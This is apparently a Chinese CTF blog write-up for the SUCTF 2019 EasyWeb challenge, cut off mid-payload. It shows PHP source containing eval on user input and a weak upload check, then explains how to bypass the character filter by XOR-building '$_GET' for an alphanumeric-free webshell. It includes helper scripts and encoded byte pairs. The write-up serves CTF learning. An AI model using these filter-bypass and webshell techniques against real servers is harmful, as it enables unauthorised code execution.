本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [SUCTF 2019]EasyWeb
这一题挺不错的
进去后获得源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 
 | <?phpfunction get_the_flag(){
 
 $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
 if(!file_exists($userdir)){
 mkdir($userdir);
 }
 if(!empty($_FILES["file"])){
 $tmp_name = $_FILES["file"]["tmp_name"];
 $name = $_FILES["file"]["name"];
 $extension = substr($name, strrpos($name,".")+1);
 if(preg_match("/ph/i",$extension)) die("^_^");
 if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
 if(!exif_imagetype($tmp_name)) die("^_^");
 $path= $userdir."/".$name;
 @move_uploaded_file($tmp_name, $path);
 print_r($path);
 }
 }
 
 $hhh = @$_GET['_'];
 
 if (!$hhh){
 highlight_file(__FILE__);
 }
 
 if(strlen($hhh)>18){
 die('One inch long, one inch strong!');
 }
 
 if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
 die('Try something else!');
 
 $character_type = count_chars($hhh, 3);
 if(strlen($character_type)>12) die("Almost there!");
 
 eval($hhh);
 ?>
 
 | 
仔细观察一下正则:
| 12
 3
 4
 5
 
 | if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');
 $character_type = count_chars($hhh, 3);
 if(strlen($character_type)>12) die("Almost there!");
 eval($hhh);
 
 | 
一看就知道是无字母数字webshell,我们可以用取反、异或、自增、或、与进行构造
但是这里过滤了 ~ | &  ,所以只有自增和异或了,但是自增会导致过长,所以采取异或
我们先写一个脚本来看看可以使用哪些字符:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | 
 for($i=0;$i<256;$i++) {
 $c = chr($i);
 if(!preg_match('/[\x00- 0-9A-Za-z\'"`~_&.,|=[\x7F]+/i',$c)) {
 echo $c.":  ".urlencode($i)."  +  ".urlencode($j).PHP_EOL;
 }
 }
 
 输出:
 !
 
 | 
可见,我们可以使用 $ { } ; ^ 并且根据字符数限制,我们可以联想到使用GET传参的方式:$_GET[1]
但是这里中括号 [被过滤了,我们可以使用 {} 代替:$_GET{1} = $_GET[1]
但是这些字符都使用不了怎么办?
我们需要使用 ^ 进行异或构造:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | $arr = ['_','G','E','T'];$s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_";
 for($i=0;$i<256;$i++) {
 for($j=0;$j<256;$j++) {
 $c=chr($i^$j);
 if(in_array($c,$arr)&&strpos($s,chr($i))==false&&strpos($s,chr($j))==false) {
 echo $c." : ".urlencode(chr($i))."  +  ".urlencode(chr($j)).PHP_EOL;
 }
 }
 }
 
 | 
输出有很多,但是由于这里有字符种类的限制,所以我们尽量使用有一个异或值是一样的:
| 12
 3
 4
 5
 6
 7
 8
 
 | _ : %FE  +  %A1T : %FE  +  %AA
 G : %FE  +  %B9
 E : %FE  +  %BB
 _ : %FF  +  %A0
 T : %FF  +  %AB
 G : %FF  +  %B8
 E : %FF  +  %BA
 
 | 
(这里需要知道,url编码后为%FF的值与其他值进行异或的话,其实是将该值取反,因为其二进制值为全1)
于是我们可以将这些值拼接起来,调用get_the_flag函数:
`$